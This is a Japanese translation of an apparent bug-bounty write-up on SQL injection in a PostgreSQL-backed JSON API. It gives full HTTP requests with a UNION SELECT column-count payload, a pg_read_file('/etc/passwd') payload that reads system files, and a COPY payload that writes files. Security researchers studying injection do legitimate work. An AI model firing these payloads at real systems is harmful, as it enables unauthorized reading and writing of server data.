SQL Injection on PostgreSQL から学ぶ

ソース:

medium.com

脆弱性SQLインジェクション

 

訳:

エンドポイントを検出すると、クエリの値を定義するパラメーターを含む JSON を送信するようなリクエストに気づきました。 「Id」パラメータに引用符を付けようとしました。 

 

POST /api/ppg/Portal/GetMerchantDropdown HTTP/1.1
Host: redacted.com:20001
Content-Length: 102
Sec-Ch-Ua:
Accept: application/json, text/plain, */*
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
Authorization:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36
Sec-Ch-Ua-Platform: ""
Origin: https://redacted.com:10903
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://redacted.com:10903/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"Take":1,"Skip":0,"Id":"1-2651'"}

 

エラーのある応答を受け取りました。

 

 

エラー メッセージを検索したところ、クエリが原因であることがわかり、PostgreSQL のエラーであることも確認できました。

 

エンドポイントがデータを取得しているので、最初に思いついたのは、クエリを注入する別のクエリと結合して、気の利いた追加データを取得することです。
これを行うには、Union Attack メソッドを使用し、注入クエリとマージする必要があります

 

最初に行うことは、元のクエリで返される列の数を確認することです。
私は null ペイロード方法を選択し。
基本的な考え方は、列番号が元のクエリと一致するまで、元のクエリと null 選択を結合する必要があります。
挿入されたクエリでエラーが発生しなくなるまで null を追加し。 これは、エラーを返さなかった最終的なペイロードで。

 

POST /api/ppg/Portal/GetMerchantDropdown HTTP/1.1
Host: redacted.com:20001
Content-Length: 102
Sec-Ch-Ua:
Accept: application/json, text/plain, */*
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
Authorization: ..
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36
Sec-Ch-Ua-Platform: ""
Origin: https://redacted.com:10903
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://redacted.com:10903/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"Take":1,"Skip":0,"Id":"1-2651' union select null, null, null, null, null;--"}

 

クエリをテストして、挿入するデータが返されるかどうかを確認するために、試してみました information_schema.tables. データベースからテーブル情報を取得します。

 

そして結果が得られたと結論付けます。 以下は、脆弱なエンドポイントで実行できたさまざまなペイロードです。

Reading a file from the instance => {"Take":1,"Skip":0,"Id":"1-2651' union select null, pg_read_file('/etc/passwd'), null, null, null;--"}

Writing to files =>
{"Take":100,"Skip":0,"Id":"1-2651'; COPY (SELECT 'hello') TO '/tmp/pentestlab';--"}

 

ほなほな。